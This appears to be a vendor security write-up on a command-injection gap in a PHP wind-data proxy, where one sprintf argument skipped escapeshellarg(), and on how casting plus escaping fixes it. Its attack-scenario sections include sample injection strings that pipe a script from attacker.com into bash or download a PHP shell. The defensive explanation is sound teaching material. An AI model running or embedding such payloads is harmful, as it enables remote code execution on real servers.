How Command Injection happens in PHP shell execution and how to fix it

The Vulnerability: One Unprotected Argument in a Shell Command

The sitrecServer/windProxy.php file acts as a proxy that constructs and executes a Python script invocation to fetch wind data. It builds a shell command using sprintf(), carefully wrapping most arguments with escapeshellarg()—but it missed one: $cycleHour.

That single omission left an injection point in an otherwise well-defended command string.

Introduction

The windProxy.php file is responsible for assembling a shell command that invokes a Python3 script with several parameters, including a date, hour cycle, forecast level, and output path. The developer clearly understood shell injection risks—every argument in the command is passed through escapeshellarg()... except one.

At line 89, $cycleHour was formatted using %d (an integer format specifier) instead of being wrapped with escapeshellarg(). This inconsistency created a subtle but meaningful security gap: a tainted variable bypassed the sanitization layer that protected every other argument in the same command.

The Vulnerability Explained

Here is the vulnerable sprintf() call as it existed before the fix:

$cmd = sprintf(
    'export PATH=%s:$PATH && python3 %s --date %s --hour %d --level %s --output %s 2>&1',
    escapeshellarg($extraPaths),
    escapeshellarg($script),
    escapeshellarg($date),
    $cycleHour,                  // ← No escapeshellarg() here
    escapeshellarg($level),
    escapeshellarg($cacheDir)
);

Every argument—$extraPaths, $script, $date, $level, $cacheDir—is passed through escapeshellarg(). But $cycleHour is passed raw, relying only on PHP's %d format specifier to coerce it to an integer.

Why %d Is Not a Security Boundary

The assumption embedded in this code is: "If I use %d, PHP will force the value to be an integer, so no injection is possible." This reasoning is flawed for several reasons:

1. PHP's type juggling is permissive. If $cycleHour is sourced from $_GET, $_POST, or another user-controlled input, PHP may coerce it in unexpected ways depending on the value's format.
2. The %d specifier in sprintf() calls intval() internally—but intval() on a string like "0; curl attacker.com/shell.sh | bash" returns 0, not an error. The coercion silently truncates, but the original value may already have been used elsewhere or the coercion behavior may differ across PHP versions.
3. Semgrep's taint analysis correctly flagged this: the data flow from user input to a shell-executing function was not broken by a proper sanitization step. %d coercion is not considered a sanitizer in taint analysis because it is not a security control—it is a formatting hint.

Attack Scenario

Imagine $cycleHour is populated from a query string parameter:

$cycleHour = $_GET['hour'];  // e.g., "0; wget -O /tmp/shell.php http://attacker.com/shell.php"

With %d, sprintf() would produce 0 for this input—so in this specific case the injection is neutralized by truncation. But the risk is real in chained scenarios:

• If $cycleHour is used elsewhere in the file before the sprintf() call (e.g., in a log message, database write, or another command), the raw tainted value is still in scope.
• Automated exploit-chaining tools (like those used in modern offensive security research) look for exploit primitives—code patterns that aren't independently exploitable today but can be combined with other weaknesses. An unescaped argument in a shell command is exactly such a primitive.
• Future refactoring might change how $cycleHour is sourced or how the format string is modified, reintroducing a live injection path.

The Fix

The fix is minimal, precise, and closes the injection path completely:

$cmd = sprintf(
    'export PATH=%s:$PATH && python3 %s --date %s --hour %s --level %s --output %s 2>&1',
    escapeshellarg($extraPaths),
    escapeshellarg($script),
    escapeshellarg($date),
    escapeshellarg((string)(int)$cycleHour),   // ← Fixed
    escapeshellarg($level),
    escapeshellarg($cacheDir)
);

What Changed and Why

Two changes work together here:

1. (int)$cycleHour — Explicitly casts the value to an integer in PHP, stripping any non-numeric content. This is the semantic validation: we assert that this value must be a whole number.

2. escapeshellarg((string)...) — Even after integer casting, the value is wrapped with escapeshellarg() before being interpolated into the shell string. This is the shell-safety layer: the argument is quoted and escaped so the shell treats it as a single, literal token.

3. %s instead of %d — The format specifier is changed to %s to match the now-string argument produced by escapeshellarg(). This is a correctness change that follows from the sanitization approach.

The result: $cycleHour now follows exactly the same security pattern as every other argument in the command. The defense is consistent, explicit, and resistant to future refactoring that might change how the value is sourced.

Prevention & Best Practices

1. Apply escapeshellarg() to Every Shell Argument—No Exceptions

The most important lesson from this vulnerability is consistency. The developer used escapeshellarg() correctly for five out of six arguments. One exception created the vulnerability. Treat shell argument escaping like a rule with no exceptions:

// Always do this, even for "obviously safe" values:
escapeshellarg((string)(int)$numericValue)

2. Validate Before You Escape

escapeshellarg() is a shell-safety tool, not an input validation tool. Combine it with semantic validation:

// For numeric inputs:
$safeHour = escapeshellarg((string)(int)$cycleHour);

// For enum-like inputs:
$allowedLevels = ['surface', '850hPa', '500hPa'];
if (!in_array($level, $allowedLevels, true)) {
    throw new InvalidArgumentException("Invalid level: $level");
}
$safeLevel = escapeshellarg($level);

3. Prefer proc_open() with Argument Arrays Over Shell Strings

PHP's proc_open() with an array-based command avoids shell interpretation entirely:

$command = [
    'python3',
    $script,
    '--date', $date,
    '--hour', (string)(int)$cycleHour,
    '--level', $level,
    '--output', $cacheDir,
];
$process = proc_open($command, $descriptorSpec, $pipes);

When arguments are passed as an array, the OS executes the command directly without invoking a shell, eliminating the injection surface entirely.

4. Use Static Analysis to Enforce This Pattern

The Semgrep rule php.lang.security.injection.tainted-exec.tainted-exec detected this issue by tracing tainted data from its source to the shell-executing sink. Integrate Semgrep or similar SAST tools into your CI pipeline:

# .github/workflows/security.yml
- name: Run Semgrep
  uses: returntocorp/semgrep-action@v1
  with:
    config: p/php

5. OWASP and CWE References

This vulnerability maps to:
- CWE-78: Improper Neutralization of Special Elements used in an OS Command
- OWASP A03:2021 – Injection
- OWASP Command Injection Defense Cheat Sheet: recommends avoiding shell calls where possible and using escapeshellarg() when unavoidable

Key Takeaways

• %d in sprintf() is not a shell injection defense. It's a formatting hint. escapeshellarg() is the required protection for any argument in a shell command string.
• Inconsistency in security controls is itself a vulnerability. Five arguments in windProxy.php were correctly escaped; one was not. That one exception was enough.
• Casting to (int) and then calling escapeshellarg() is the right pattern for numeric shell arguments. It provides both semantic validation and shell-safety in two explicit steps.
• Taint analysis tools like Semgrep trace data flow across function calls. They correctly identified that $cycleHour flowed from user input to a shell sink without passing through a recognized sanitizer.
• Exploit primitives matter even when not independently exploitable. An unescaped shell argument can be chained with other weaknesses by automated tools—removing it proactively raises the cost of exploitation.

How Orbis AppSec Detected This

• Source: User-controlled input populating $cycleHour (traced via taint analysis to an external input vector)
• Sink: sprintf() call at sitrecServer/windProxy.php:89, whose result is passed to a shell-executing function
• Missing control: escapeshellarg() was applied to all other arguments in the same sprintf() call, but was absent for $cycleHour; the %d format specifier was incorrectly relied upon as a sanitizer
• CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
• Fix: Changed the format specifier from %d to %s and replaced the raw $cycleHour argument with escapeshellarg((string)(int)$cycleHour), applying both integer casting and shell escaping consistently with all other arguments

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

The vulnerability in windProxy.php is a textbook example of how a single inconsistency in an otherwise sound security pattern creates a real risk. The developer knew about escapeshellarg()—they used it five times in the same function call. But $cycleHour was treated as "safe enough" because of the %d format specifier, which is a common and dangerous misconception.

The fix is elegant in its simplicity: apply the same pattern to $cycleHour that was already applied to every other argument. Cast to integer for semantic correctness, wrap with escapeshellarg() for shell safety, and change %d to %s to match the new argument type.

For developers building PHP applications that invoke shell commands, the rule is simple: every argument, every time, no exceptions. If you're building a shell command string in PHP, escapeshellarg() is not optional—it's mandatory for every variable, regardless of its apparent type or origin.

References

• CWE-78: Improper Neutralization of Special Elements used in an OS Command
• OWASP Command Injection Defense Cheat Sheet
• PHP escapeshellarg() Documentation
• Semgrep Rule: php.lang.security.injection.tainted-exec
• harden: user input is passed to a function that execute... in...